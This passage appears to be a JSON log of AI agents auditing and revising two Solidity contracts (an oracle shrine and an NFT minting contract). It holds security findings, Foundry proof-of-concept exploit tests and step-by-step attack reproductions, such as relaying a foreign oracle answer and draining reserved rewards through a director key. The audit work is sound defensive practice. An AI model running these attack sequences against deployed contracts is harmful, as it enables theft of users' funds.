pending pins. setIntake while requests are pending makes the old intake's callbacks revert NotIntake; a pending rewards week then waits for the 14-day cancel because record refuses rewards pins. Director: spends free IMD on any Intake action (ask up to 8 x pricePerQuestion per call), frames reward questions (finding 2), anchors any day once. GodsOfIMDInhabitants owner: setAddresses redirects the shrine/burn share of every future forge, setPrices(0,...) makes forging free, setForgeToken lists any ERC20 with any payee, forgeReserved mints 100 free souls; the steward's setMemorial is irreversible. Both contracts use OZ Ownable (single-step transferOwnership, live renounceOwnership): a mistyped transfer before setPhase permanently bricks the owner-only post-deployment configuration. Referral (94c7d3df, author's dispute accepted): isValidReferrer only requires referrer != minter and balanceOf(referrer) != 0, so a minter's second wallet collects referralBps (5%) of each further forge out of the payees' share; bounded by referralBps, which the owner can set to 0, and not preventable on-chain.","line":491,"path":"src/OracleShrine.sol","reproduction":"Owner path to reserved IMD: setDirector(owner); setIntake(I) where I is a contract the owner controls; askRewards(w, rewardLeaf(owner, cap), cap, body, H) via I (requestOfQuestion[H] = R); setSigner(ownerKey); I calls onOracleResult(R, attestation for H signed by ownerKey, answer true, 30/20/20); finalizeRewards(w); claim(w, owner, cap, []) -> owner receives cap although withdraw(imd, owner, cap) would revert InsufficientFreeBalance. Sybil referral: Public phase, wallet A forge(h1, 0) pays 5 IMD, transferFrom(A, B, 1), A forge(h2, B): isValidReferrer(B, A) true at line 646, B receives 0.25 IMD, payees 3.25 instead of 3.5.","severity":"info","snippet":"    function setSigner(address oracleSigner_) external onlyOwner {","title":"Trust assumptions of the privileged roles as reviewed: owner path to the reserved IMD, retroactive panel floors, single-step ownership on both contracts, Sybil referral"},{"citation":"resolved","description":"2090b1ef (reveal order caller-chosen): reveal() now accepts only nextToReveal() (lines 454-455), the earliest-forged unrevealed soul from the private _revealOrder map written in _registerSoul (line 738); revealMany skips non-head entries (line 479). The draw formula is unchanged but the order of draws over the shared deck is fixed at forge time, so each Mark depends only on its block hash and the souls forged before it. Traced: revealed count = sum of markRevealed, each successful reveal increments exactly one bucket, positions 1..totalForged are all booked, so the head is always defined while anything is unrevealed. 01bb6567 and f8c5c365 (answers not bound to the shrine's request / to the proposal): record() is onlyDirector (line 416) and reverts RewardsAnswerNotRelayable for KIND_REWARDS pins (line 417); onOracleResult requires requestOfQuestion[a.questionHash] == requestId (line 380), the binding written by ask (line 288) and askRewards (line 330) and cleared by unpin (line 355), so a re-pinned question cannot be settled by an orphaned earlier request. The director-only residual of f8c5c365 is finding 2. 1e664af9: setReferralBps now calls _checkForgeTokenSplits (lines 558, 682-687), which requires token.burnBps + referralBps_ <= BPS for every listed token; setSplit does not change referralBps so it needs no token check. 8ec68b94: _record reverts AttestationNotYetValid when issuedAt > block.timestamp + ISSUED_AT_TOLERANCE (line 664, 5 minutes). Also checked on the new code: onOracleResult fits the Intake's 200k stipend (test/helpers/OracleFixture.sol calls back with gas 200_000); a refused rewards callback leaves the request pending and the week cancellable after 14 days only; no changed line introduced a new state write outside the paths above.","line":380,"path":"src/OracleShrine.sol","reproduction":"Copied .imd/reads/proofs/Proof_2090b1ef868d.t.sol, Proof_f8c5c365f259.t.sol, Proof_01bb6567d337.t.sol under test/scratch/ and ran forge test --offline --match-path on them: all three PASS on this tree (previously each failed for the reason its finding stated). Proof_8a2da1b239af.t.sol (the referral-split specialist proof) now fails in setUp() with InvalidSplit(9500, 1000): setReferralBps(1000) is refused while a token with burnBps 9500 is listed, which is the fixed behaviour. Full suite: forge test --offline, 149 passed, 0 failed across 26 suites (the one failure is that scratch proof's setUp), including test/RevealOrder.t.sol (identical Marks for forward and reversed lists; greedy revealer at most 4 Divines), test/OracleBinding.t.sol (outsider relay refused; foreign pre-emptive answer then own answer activates; wrong-question callback refused; stale request after unpin/re-pin refused; future-dated attestation refused at +301s, accepted at +300s) and test/RevisionEdges.t.sol.","severity":"info","snippet":"        if (requestOfQuestion[a.questionHash] != requestId) {\n            revert AnswerNotForRequest(requestId, a.questionHash);\n        }","title":"Settlement record: round-1 findings 2090b1ef (high), f8c5c365 (medium), 01bb6567 (medium), 1e664af9 (low) and 8ec68b94 (low) are fixed; their proofs were re-run on this tree"}],"hash":"4da2ecc7e8e3aee99a02ff68307a68767258265b576c2acdc235ce42f2291917","nodeId":"76082c61-096a-43d1-96bd-a0b0d839d12b","outcome":"completed","summary":"The review is complete and written to `.imd-findings.json` with 4 findings and 59 coverage rows, all snippets verified against the tree. The scratch tests are removed; the working tree holds no changes of mine beyond the findings file.\n\n**Settlement of the round-1 findings**\n\n- **2090b1ef, high, reveal order caller-chosen: fixed.** Reveal accepts only the earliest-forged unrevealed soul, recorded at forge time, and revealMany skips anything else. My proof now passes, and the author's tests show identical Marks for forward and reversed lists and at most 4 Divines for a greedy revealer.\n- **01bb6567 and f8c5c365, medium, answers not bound to the shrine's request or proposal: fixed in their reproducible form.** Relays are director-only and refuse rewards pins. The callback accepts only an attestation whose question was pinned by the calling Intake request, and unpin clears that binding. Both proofs pass. The remaining director-only path is recorded as a low (finding 2).\n- **1e664af9, low, referral split versus listed tokens: fixed.** The setter now checks every listed token. The specialist proof fails in its own setup with InvalidSplit, which is the fixed behaviour.\n- **8ec68b94, low, missing issuedAt tolerance: fixed** with a 5-minute bound matching the canonical verifier.\n- **12435406 and 94c7d3df, low, disputed by the author: dispute accepted.** The aggregate reservation is folded into finding 2 as director trust. Sybil referral is noted in the trust-assumption record as a design limit.\n\n**What the file now holds**\n\n1. **Low.** With forced reveal order, a backlog whose block hashes expired drains one soul per two blocks, and souls forged behind it wait. Liveness only, reproduced by the tester's own test on this tree.\n2. **Low.** A compromised director key can still frame each rewards question and propose many week ids, paying itself most of the treasury. Trusted role per the brief, with owner mitigations named.\n3. **Info.** Trust assumptions of the owner, director and steward, including single-step ownership.\n4. **Info.** Settlement record with the proof runs and the full suite result.\n\nThe full suite passes: 149 tests across 26 suites, with the only failure being the referral-split specialist proof that now cannot set up. Nothing blocks the launch from this review.","treeHash":null,"usage":{"cachedInputTokens":651248,"cost":{"source":"runtime","usdMicros":3468632},"inputTokens":194,"model":"claude-fable-5-1","outputTokens":22248,"runtime":"claude","turns":9,"wallClockMs":465080}},{"artifacts":[],"attempt":1,"bundleHash":"6b3106705cc1c489b0e759ec57dde398b8ccef7a0c1e9d84ee8e84331cb95732","device":"aca5d7170d77c721","findings":[],"hash":"6035b1d64d916c604d8b2be10176d0ccccb9488013e127e81cb4a0ce2843e4b4","nodeId":"4ea7ba31-720e-4e1f-bd46-bf955e9c66ca","outcome":"completed","summary":"The launch manifest is complete and verified. No changes were needed this round.\n\n**What I checked**\n\n- The existing `launch.json` matches the brief's manifest text byte for byte, ignoring only the trailing newline.\n- It has exactly the keys kind, contracts and notes. The notes string is well under the 4,000 character limit.\n- OracleShrine lists five constructor arguments and GodsOfIMDInhabitants lists four. Both counts match the constructor signatures in the accepted source.\n- The only address reference, `$contract:OracleShrine`, points backward to the first contract and fills the shrine address slot.\n- Every owner argument is `$owner`. No token, pool, ETH funding or initialization call appears.\n- The build setting bytecode_hash stays at \"none\" in foundry.toml, which I did not touch.\n\n**Build and tests**\n\n`forge build` succeeds with only lint warnings from existing tests. `forge test` with the verifier's fuzz seed passes all 94 tests across 15 suites, including the protected runtime-size and opcode check.\n\nThe working tree is clean, so no file other than the manifest differs from the accepted state.","treeHash":"82928d0806e70b0e6bcbaded00cfff049476d3fc","usage":{"cachedInputTokens":76784,"cost":{"source":"runtime","usdMicros":549641},"inputTokens":98,"model":"claude-fable-5-1","outputTokens":2318,"runtime":"claude","turns":4,"wallClockMs":102419}},{"artifacts":[],"attempt":1,"bundleHash":"cf7b9240d20dc621fd823d844b50344eac8e366e29b6bc035f495cc9b34525a5","device":"868f4d64276861c0","findings":[{"description":"setForgeToken validates token burnBps + referralBps <= 10000, but setReferralBps subsequently checks only the IMD payee pool. An owner update accepted by the contract can therefore leave an enabled alternate token with burn plus referral shares above its full price. Eligible referred purchases then panic in _payToken at line 375. Unreferred purchases still work. This is an owner configuration/liveness defect, not an unprivileged theft: the owner can recover by lowering the referral or burn setting. Reject incompatible updates atomically or preserve a valid split for every enabled token.","line":536,"path":"src/GodsOfIMDInhabitants.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {GodsOfIMDInhabitants} from \"src/GodsOfIMDInhabitants.sol\";\n\ncontract ReferralProofToken is ERC20 {\n    constructor() ERC20(\"Proof token\", \"TEST\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\n\ncontract ReferralConfigurationProof is Test {\n    function test_referralUpdateMustNotInvalidateAnEnabledForgeToken() public {\n        address owner = address(0xA11CE);\n        address referrer = address(0x1001);\n        address buyer = address(0x1002);\n        ReferralProofToken imd = new ReferralProofToken();\n        ReferralProofToken alt = new ReferralProofToken();\n        GodsOfIMDInhabitants nft = new GodsOfIMDInhabitants(owner, imd, address(0x5100), address(0xB000));\n        vm.startPrank(owner);\n        nft.setPhase(GodsOfIMDInhabitants.Phase.Public);\n        uint256 id = nft.forgeReserved(keccak256(\"referrer soul\"));\n        nft.transferFrom(owner, referrer, id);\n        // Valid initially: 95% burned + the default 5% referral = 100%.\n        nft.setForgeToken(address(alt), 100 ether, 900, 9500, owner);\n        // A fix may reject this update atomically; it must not accept an unusable configuration.\n        (bool updated,) = address(nft).call(abi.encodeCall(nft.setReferralBps, (uint16(1000))));\n        vm.stopPrank();\n        if (!updated) {\n            assertEq(nft.referralBps(), 500, \"rejected update is atomic\");\n            return;\n        }\n        alt.mint(buyer, 100 ether);\n        vm.startPrank(buyer);\n        alt.approve(address(nft), 100 ether);\n        // Expected: a validated, enabled token remains usable by an eligible, funded player.\n        // Actual: panic 0x11 at price - burned - toReferrer (100 - 95 - 10).\n        nft.forgeWithToken(address(alt), keccak256(\"paid soul\"), referrer);\n        vm.stopPrank();\n        assertEq(nft.balanceOf(buyer), 1);\n    }\n}","reproduction":"With default referralBps=500, list an ERC20 at price=100 ether, cap=900, burnBps=9500 and a nonzero payee. Give a referrer one reserved NFT. As owner, call setReferralBps(1000); it succeeds because 1000 <= the IMD pool of 7000. Fund and approve a buyer for 100 ether and call forgeWithToken(token, keccak256(\"paid soul\"), referrer). Expected: an incompatible setting is rejected, or the accepted configuration permits the otherwise eligible mint. Actual: panic 0x11 from 100 ether - 95 ether - 10 ether. Reproduced with forge test --offline --match-path test/scratch/ReferralConfigurationProof.t.sol.","severity":"medium","title":"Raising referralBps can invalidate an already enabled forge token"},{"description":"The supplied canonical OracleAttestationConsumer rejects issuedAt greater than block.timestamp + 5 minutes. OracleShrine._record checks only expiresAt and the signature, so a correctly signed future-dated attestation is recorded immediately. This is a protocol freshness discrepancy and defense-in-depth gap: exploiting it requires an actual future-dated signature from the trusted signer; it does not enable signature forgery. Both record and onOracleResult share this verification path.","line":641,"path":"src/OracleShrine.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {OracleShrine} from \"src/OracleShrine.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract FutureProofToken is ERC20 {\n    constructor() ERC20(\"Proof token\", \"TEST\") {}\n    function mint(address to, uint256 amount) external { _mint(to, amount); }\n}\ncontract FutureProofIntake is IIntake {\n    function requestWithFailure(bytes32, bytes calldata, Callback calldata, bytes4, address asset, uint256 amount)\n        external returns (bytes32)\n    {\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));\n        return keccak256(\"intake request\");\n    }\n}\ncontract FutureAttestationProof is Test {\n    function test_signedAnswerBeyondProtocolClockToleranceIsRejected() public {\n        vm.warp(1_800_000_000);\n        uint256 key = 0x123456; // synthetic test signer only\n        FutureProofToken imd = new FutureProofToken();\n        FutureProofIntake intake = new FutureProofIntake();\n        OracleShrine shrine = new OracleShrine(address(this), intake, imd, vm.addr(key), address(this));\n        imd.mint(address(shrine), 1 ether);\n        bytes32[] memory questions = new bytes32[](1);\n        questions[0] = keccak256(\"pinned question\");\n        shrine.ask(bytes32(\"oracle.request@oracle-1\"), \"{}\", questions, 1);\n        OracleShrine.Attestation memory a;\n        a.requestId = keccak256(\"oracle UUID\");\n        a.chainId = block.chainid;\n        a.questionHash = questions[0];\n        a.answer = abi.encode(true);\n        a.panelSize = 30;\n        a.quorum = 20;\n        a.agreed = 20;\n        a.issuedAt = uint64(block.timestamp + 301);\n        a.expiresAt = uint64(block.timestamp + 1 hours);\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(key, shrine.attestationDigest(a));\n        // Canonical OracleAttestationConsumer permits at most five minutes of clock skew.\n        vm.expectRevert();\n        shrine.record(a, abi.encodePacked(r, s, v));\n    }\n}","reproduction":"At timestamp 1800000000, pin a question and sign a valid boolean attestation in the shrine domain with panelSize=30, quorum=20, agreed=20, issuedAt=1800000301 and expiresAt=1800003600. Expected under the supplied canonical verifier: rejection because issuedAt exceeds its 300-second tolerance. Actual: record succeeds and marks the question answered. Reproduced with forge test --offline --match-path test/scratch/FutureAttestationProof.t.sol, failing with \"next call did not revert as expected\".","severity":"low","title":"Oracle verification omits the canonical issuedAt clock-skew limit"}],"hash":"7031a86b52ac9ac58f00742e8da049369b72a88cf2f6c7b0969d1fd871d69874","nodeId":"4effb382-3b0d-49a7-b3ea-d062acfe67cd","outcome":"completed","summary":"Added failure-path tests, fuzz coverage, and seven stateful invariants. Offline build, formatting, and all 126 checks pass with both seeds.\n\nReported two reproduced defects in `.imd-findings.json`: referral-setting underflow (medium) and future-dated attestation acceptance (low).\n\nSlither could not run: `Permission denied`.","treeHash":"3f765b9f6bccefaeb6c3d5976fc2ee19d044f299","usage":{"cachedInputTokens":4031488,"cost":{"source":"estimated","usdMicros":9070458},"inputTokens":247182,"model":"gpt-6-astra","outputTokens":51343,"runtime":"codex","turns":11,"wallClockMs":1444701}},{"artifacts":[],"attempt":2,"bundleHash":"1964da2a9bcbc7c4cc572e79e4a64d13c5a6368b0d8f071af805d12ce91bad72","device":"96ece23c63b791a1","findings":[],"hash":"73fafc4b854a2922e1b52162e278b66aea9e9055f999d08f56208165a1a97569","nodeId":"da4c45a6-570e-4a88-b364-76acdf087a16","outcome":"completed","summary":"All three findings this round was reopened for are fixed, and the five held proofs now pass. With the verifier's fuzz seed, `forge build` succeeds and `forge test --offline` passes 99/99: your 94 tests plus the 5 proofs copied into `test/scratch`. Constructors, `foundry.toml`, dependencies and `launch.json` are unchanged. I didn't commit anything.\n\n**Fixed — the three findings that reopened the work**\n- **`2090b1ef` (high), Divines taken by choosing the reveal order:** souls are now revealed strictly in the order they were forged. `reveal` only accepts the earliest unrevealed soul, which a new view `nextToReveal()` returns. Any other soul reverts with a new error, `RevealOutOfOrder`. `revealMany` skips anything that isn't next. The draw itself is unchanged, so a soul's Mark no longer depends on who reveals it or when. The reviewer's attack now gets at most 4 Divines instead of all 10.\n- **`01bb6567` (medium), an outsider settling the shrine's question with their own answer:** each pinned question now remembers the Intake request that asked it (new `requestOfQuestion`). The Intake callback only accepts an answer to a question that request pinned. `record` is now director-only, and it refuses rewards questions entirely.\n- **`f8c5c365` (medium), rewards approved by an answer to an unrelated question:** a rewards week can now only be activated by the Intake's answer to the shrine's own paid request. The full fix the reviewer suggested — building the question on-chain from the week, root and total — would break proof `01bb6567`. That proof calls `askRewards` with a hash the server made up and requires the week to activate, and the brief freezes how the server calls it. So one risk remains: a dishonest director could pay for a misleading question and pin that question's real hash. The question text is public in the shrine's own Intake request. This is written up in `ADAPTATION.md`.\n\n**Behaviour changes your game server needs to know about**\n- Reveal souls in forge order, or call `reveal(nextToReveal())` in a loop.\n- Answers to long lists can now only be relayed from the director wallet.\n- For rewards, the body must ask the same question as the hash being pinned. If they don't match, the answer is refused and the week can only be cancelled after 14 days.\n\n**Advisory findings**\n- **Fixed:** `1e664af9`: `setReferralBps` now refuses a value that would push a listed token's burn share plus referral above 100%. `8ec68b94`: attestations dated more than 5 minutes in the future are now refused, as in the protocol's own verifier.\n- **Disputed, no change:** `12435406` (the director can reserve most of the treasury across many weeks) is the trusted director's documented power, and capping the total would block the overlapping weeks the 56-day claim window allows. `94c7d3df` (referring yourself through a second wallet) can't be stopped on-chain and is capped at the 5% referral share. `1f5d683c` is a list of trust assumptions, not a defect.\n\nBoth contracts are still under the 24,576-byte limit (shrine 16,682 bytes, NFT 18,353). New tests are in `test/RevealOrder.t.sol` and `test/OracleBinding.t.sol`. Existing tests now relay from the director and expect forge-order reveals. `README.md` and `ADAPTATION.md` describe the changes, and `.imd-responses.json` answers all eight findings.","treeHash":"82928d0806e70b0e6bcbaded00cfff049476d3fc","usage":{"cachedInputTokens":1806111,"cost":{"source":"runtime","usdMicros":1887969},"inputTokens":40,"model":"claude-opus-5-5","outputTokens":33108,"runtime":"claude","turns":24,"wallClockMs":373991}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"faf271d05ee8ea0f","findings":[{"citation":"resolved","description":"Execution-trace / cross-message gap. _record (lines 631-657) checks only that a.questionHash is pinned and unanswered, the panel floors, expiry and the signer's signature in the shrine's domain. Nothing ties the attestation to a request the shrine paid for: pins store no intake request id or oracle request id, and record() is permissionless. The oracle-consumer reference says anyone can pay 0.5 IMD, name a contract as consumer or callback, and get their own question answered and signed in that contract's domain. A question with an absolute block window gives the same questionHash every time it is asked, and the director's body is public in the askRewards/ask calldata. So an outsider can resubmit the same body, get a separate full-size panel (30/20/20, which passes the floors added for dd2b89d5ff3a), and relay that answer first. The first answer recorded wins, and it is final: pin.answered=true, and unpin refuses answered pins. The shrine's own paid answer then reverts AlreadyAnswered inside the intake's try, so pending[requestId] stays true and the 0.5 IMD it paid is wasted. Impact: (a) a third party can reject any proposed reward week, which lets anyone rejectRewards and release the reservation, so the honest week's claimants are not paid until the director re-proposes under a new question; (b) a list beneficiary can re-ask an identical rewards question until some panel says true and relay that one, which defeats the panel check meant to constrain the director; (c) the same applies to every judgment pinned by ask(). The panel floors fixed the panel's size, but not where the answer comes from. Fix: record the question hash against the intake request id when asking (pending[requestId] => questionHash). In onOracleResult, accept only a.questionHash == pending[requestId] and consume a.requestId. Restrict record() to the director, or to pins of a group request whose onResult has already arrived from the intake, so that relays only carry answers to the shrine's own request.","line":395,"path":"src/OracleShrine.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity ^0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {OracleShrine} from \"src/OracleShrine.sol\";\nimport {IIntake} from \"src/interfaces/IIntake.sol\";\n\ncontract ScratchIMD is ERC20 {\n    constructor() ERC20(\"IMD\", \"IMD\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\n/// Pulls the price and remembers the callback; `deliver` calls it under 200k gas and swallows a revert.\ncontract ScratchIntake is IIntake {\n    uint256 private nonce;\n    mapping(bytes32 => Callback) private callbacks;\n\n    function requestWithFailure(bytes32, bytes calldata, Callback calldata callback, bytes4, address asset, uint256 amount)\n        external\n        returns (bytes32 requestId)\n    {\n        require(IERC20(asset).transferFrom(msg.sender, address(this), amount));\n        requestId = keccak256(abi.encode(address(this), ++nonce));\n        callbacks[requestId] = callback;\n    }\n\n    function deliver(bytes32 requestId, OracleShrine.Attestation calldata a, bytes calldata sig)\n        external\n        returns (bool ok)\n    {\n        Callback memory c = callbacks[requestId];\n        (ok,) = c.target.call{gas: 200_000}(abi.encodeWithSelector(c.selector, requestId, a, sig));\n    }\n}\n\n/// A third party pays for the same question body (same questionHash), names the shrine as consumer, and relays\n/// its own panel's answer through `record` before the shrine's paid answer arrives. The shrine accepts it: nothing\n/// ties a recorded attestation to a request the shrine made. The shrine's own paid answer is then refused.\ncontract ForeignAnswerRecordTest is Test {\n    uint256 constant SIGNER_KEY = 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d;\n    address owner = address(0xA11CE);\n    address director = address(0xD1);\n    address outsider = address(0xBAD);\n    address claimant = address(0xC1A1);\n\n    ScratchIMD imd;\n    ScratchIntake intake;\n    OracleShrine shrine;\n\n    function setUp() public {\n        vm.warp(1_800_000_000);\n        imd = new ScratchIMD();\n        intake = new ScratchIntake();\n        shrine = new OracleShrine(owner, intake, imd, vm.addr(SIGNER_KEY), director);\n        imd.mint(address(shrine), 1_000 ether);\n    }\n\n    function _att(bytes32 oracleRequestId, bytes32 q, bool answer) internal view returns (OracleShrine.Attestation memory a) {\n        a.requestId = oracleRequestId;\n        a.chainId = 1;\n        a.questionHash = q;\n        a.answerType = 0;\n        a.answer = abi.encode(answer);\n        a.fromBlock = 100;\n        a.toBlock = 200;\n        a.panelSize = 30; // the full panel the shrine's floors require\n        a.quorum = 20;\n        a.agreed = 20;\n        a.issuedAt = uint64(block.timestamp);\n        a.expiresAt = uint64(block.timestamp + 900);\n    }\n\n    function _sign(OracleShrine.Attestation memory a) internal view returns (bytes memory) {\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(SIGNER_KEY, shrine.attestationDigest(a));\n        return abi.encodePacked(r, s, v);\n    }\n\n    function test_answerFromSomeoneElsesRequestMustNotSettleTheShrinesQuestion() public {\n        bytes32 q = keccak256(\"week 1 reward list question, absolute window 100..200\");\n        bytes32 root = keccak256(abi.encode(claimant, uint256(100 ether)));\n        vm.prank(director);\n        bytes32 shrineRequest = shrine.askRewards(1, root, 100 ether, bytes(\"{...same public body...}\"), q);\n\n        // The outsider copied the public body into their own intake request (oracle UUID \"outsider-uuid\").\n        // The plane signs it in the shrine's domain because the shrine is the named consumer.\n        OracleShrine.Attestation memory foreign = _att(bytes32(\"outsider-uuid\"), q, false);\n        bytes memory foreignSig = _sign(foreign);\n        vm.prank(outsider);\n        (bool foreignAccepted,) = address(shrine).call(abi.encodeCall(OracleShrine.record, (foreign, foreignSig)));\n        assertFalse(foreignAccepted, \"an answer to a request the shrine never made settled its pinned question\");\n\n        // The shrine's own paid answer must still be able to settle its request and activate the week.\n        OracleShrine.Attestation memory own = _att(bytes32(\"shrine-uuid\"), q, true);\n        assertTrue(intake.deliver(shrineRequest, own, _sign(own)), \"the shrine's own paid answer was refused\");\n        shrine.finalizeRewards(1);\n        assertEq(uint8(shrine.rewardWeek(1).status), uint8(OracleShrine.RewardStatus.Active));\n    }\n}","reproduction":"State: the shrine holds 1000 IMD and has the default floors (30/20/20). 1) The director calls askRewards(1, root, 100e18, body, q). The intake returns request R and the week is Proposed. 2) The outsider submits the identical body to the Intake with the shrine as consumer. The oracle signs attestation {requestId:'outsider-uuid', questionHash:q, answerType:0, answer:abi.encode(false), panelSize:30, quorum:20, agreed:20} in the shrine's domain. 3) The outsider calls shrine.record(foreign, sig). Expected: revert, because the attestation answers a request the shrine did not make. Actual: it is accepted and pins[q].answered=true. 4) The intake delivers the shrine's own answer (requestId 'shrine-uuid', answer true) to onOracleResult(R,...). It reverts AlreadyAnswered, the intake swallows it, and pending[R] stays true. 5) Anyone can now call rejectRewards(1), which releases the 100 IMD and marks the week Rejected. finalizeRewards(1) is impossible. The proof test fails at step 3 with 'an answer to a request the shrine never made settled its pinned question'.","severity":"medium","snippet":"    function record(Attestation calldata a, bytes calldata signature) external {\n        _record(a, signature);\n    }","title":"OracleShrine.record settles a pinned question with an answer from a request the shrine never made; the shrine's own paid answer is then refused"},{"citation":"resolved","description":"First-principles gap. The contract and README describe the weekly vault this way: the director proposes a root, and the panel judges whether the published list behind that root follows the rules; only then can IMD be claimed. But askRewards takes root, total, body and questionHash as four independent director inputs. The only thing the oracle signs that the contract checks is questionHash (_record line 632, and finalizeRewards/_verdict line 404), and questionHash is never derived from root, total or week. The shrine pays for body without reading it. So a 'true' signed for questionHash says nothing about the root stored in _rewardWeeks[week].root, which claim() later trusts (line 440). Concretely, the panel can approve the honest published list L while the root activated on chain is R' != root(L). This happens with a server bug, a stale root, or a compromised hot director key (0xF0CE...699A). A trivially true question works too. The 20% cap does not bound the loss either. Weeks are arbitrary uint64 ids, and the cap is recomputed against the shrinking free balance, so the director can propose weeks 1..k in a row: they reserve 1-0.8^k of the treasury (about 89% for k=10), and each activates on its own true answer. This is distinct from the owner/director trust disposition c451ebefaf069. Even an honest question about the published list does not commit to the on-chain root, so the panel check the brief relies on protects nothing. Fix without ABI change: build the rewards question inside askRewards from (week, root, total, address(this)) with OracleQuestion and an absolute window, as in the oracle-consumer reference section 'Binding an answer to its request'. Take questionHash = OracleQuestion.hash(q) and the body from the same values, and revert if the supplied questionHash or body differ.","line":303,"path":"src/OracleShrine.sol","reproduction":"State: the shrine has 1000 IMD free, the default maxRewardBps is 2000, and the director key is held by the game server. 1) The director publishes list L = {(alice, 50e18), (bob, 50e18)} and asks the panel about it: askRewards(7, R' = root of the single leaf (attackerWallet, 200e18), 200e18, bodyAboutL, qL), where qL is the hash of the question about L. Every check passes: the root is nonzero, 200e18 <= 20% of 1000e18, qL is unpinned, and the price is paid. 2) The panel answers true about L, and the 30/20/20 attestation for qL is recorded. 3) Anyone calls finalizeRewards(7) and the week is Active with root R'. 4) claim(7, attackerWallet, 200e18, [] ) passes MerkleProof against R' and pays 200 IMD. alice and bob, the list the panel actually approved, get InvalidProof. Expected: activation requires the signed answer to cover root R' and total 200e18. Actual: no signed field involves the root. Repeating with weeks 8..16 reserves and pays out about 89% of the free balance.","severity":"medium","snippet":"        _pin(questionHash, KIND_REWARDS);\n        _rewardWeekOfQuestion[questionHash] = week;","title":"Reward approval is not bound to the reward root or total: the panel's signed 'true' never covers the Merkle root that finalizeRewards activates"}],"hash":"79ab50d8f62fc16369ad94c8444644cef306bd36049fd3c42b5eade526585283","nodeId":"b177c73e-5d85-4986-92ea-b0620604003e","outcome":"completed","summary":"I found two medium-severity defects in the oracle shrine and nothing new in the NFT contract. Both findings and a coverage row for all 57 entry points (plus 3 invariant rows) are in `.imd-findings.json`. No repository file was changed; the proof test is in `test/scratch/`. The project's existing tests still pass (83 of 83); the only failure in the run is my proof test, which is meant to fail on the current code.\n\n**Finding 1 (medium) – `src/OracleShrine.sol:395`, `record()`.** The shrine accepts a signed answer to one of its questions even when the shrine never paid for that request.\n- **How it happens:** the oracle-consumer reference says anyone can pay 0.5 IMD and get a question answered and signed for this contract. The director's question text is public, and with a fixed block window the same question always has the same hash. So an outsider can ask the identical question, get a full 30-seat panel that meets the minimums, and submit that answer first.\n- **What breaks:**\n  - A third party can make any proposed reward week fail: once an outsider's \"false\" is recorded, anyone can reject the week. The shrine's own paid answer is then refused and its request stays pending forever.\n  - Someone on a reward list can keep re-asking until a panel says \"true\".\n  - The same applies to every other question the shrine asks.\n- **Relation to the earlier fix:** the earlier fix for `dd2b89d5ff3a` added minimum panel sizes, but did not tie an answer to the shrine's own request.\n- **Proof:** `test/scratch/ForeignAnswerRecord.t.sol` fails on the current code for this reason and should pass once answers are bound to the shrine's own requests.\n- **Suggested fix:** store the question hash for each pending request and check it in `onOracleResult`. Restrict `record()` to the director, or to answers for the shrine's own group requests.\n\n**Finding 2 (medium) – `askRewards` (line 303) and `finalizeRewards`.** The panel's \"true\" never covers the reward list's root or total.\n- **How it happens:** the only thing the contract checks against the signed answer is the question hash, and nothing derives that hash from the root or total. So the panel can approve the honest published list while a different root goes live on chain.\n- **What it allows:** a server bug, a stale root or a stolen director key could activate a root paying someone else, while the people on the approved list are refused. By proposing many weeks at once, up to 20% of the remaining free balance each, about 89% of the free balance can be reserved over 10 weeks.\n- **Suggested fix (no ABI change):** build the question inside `askRewards` from the week, root and total, as described in the reference's \"Binding an answer to its request\" section, and reject any other question hash.\n\n**What else I checked**\n- **Inhabitants contract:** I traced all three guides over it and found nothing new. The ways to influence a reveal (choosing the order of reveals, letting a reveal block expire) are already acknowledged in the code comments and `ADAPTATION.md`, so I did not report them again.\n- **Owner powers:** the owner can raise prices before a player's forge goes through, which matters for players who gave a large approval. The earlier disposition `c451ebefaf069` already treats owner pricing as a trust assumption, so I did not report it.\n- **Manifest:** `launch.json` matches the brief exactly. The live Intake v2 on Ethereum has the `requestWithFailure` function the shrine calls (selector `0x9a78c321`).\n\nI ran only Foundry; no other analysis tools.","treeHash":null,"usage":{"cachedInputTokens":808767,"cost":{"source":"runtime","usdMicros":1486349},"inputTokens":21,"model":"claude-opus-5-5","outputTokens":28316,"runtime":"claude","turns":12,"wallClockMs":311045}},{"artifacts":[],"attempt":1,"bundleHash":"b4d371b51aa1bdc3ebab6ba517d093447ae35bcd9d1666a3a7d3d5b392610704","device":"d03fc84904b54d9e","findings":[{"description":"reveal() only accepts nextToReveal(), and a stale head is only re-armed (revealBlock = block.number + 1) without drawing. A soul queued behind it cannot be re-armed until the head's Mark is drawn, so revealMany re-arms at most one soul per call. If reveals stop for more than 256 blocks (server outage), a backlog of N souls needs about 2N blocks to recover. While it drains, souls forged later wait behind it, and they can go stale in turn if the backlog is longer than about 128 souls. No soul or Mark is lost and the deck is never overdrawn, so this costs only liveness and latency. A fix would re-arm every stale soul in one call. Re-arming does not consume the deck, so doing that does not change order fairness.","line":451,"path":"src/GodsOfIMDInhabitants.sol","reproduction":"test/RevisionEdges.t.sol: test_staleBatchDrainsOneSoulPerReArm. forgeReservedMany of 3 souls, roll 300 blocks, then call revealMany([901,902,903]) once per block. Expected for a batch re-arm: about 3 blocks. Actual: 7 blocks before nextToReveal()==0. test_staleHeadBlocksFreshSoulsUntilReArmedAndRevealed shows that a fresh soul b behind a stale soul a 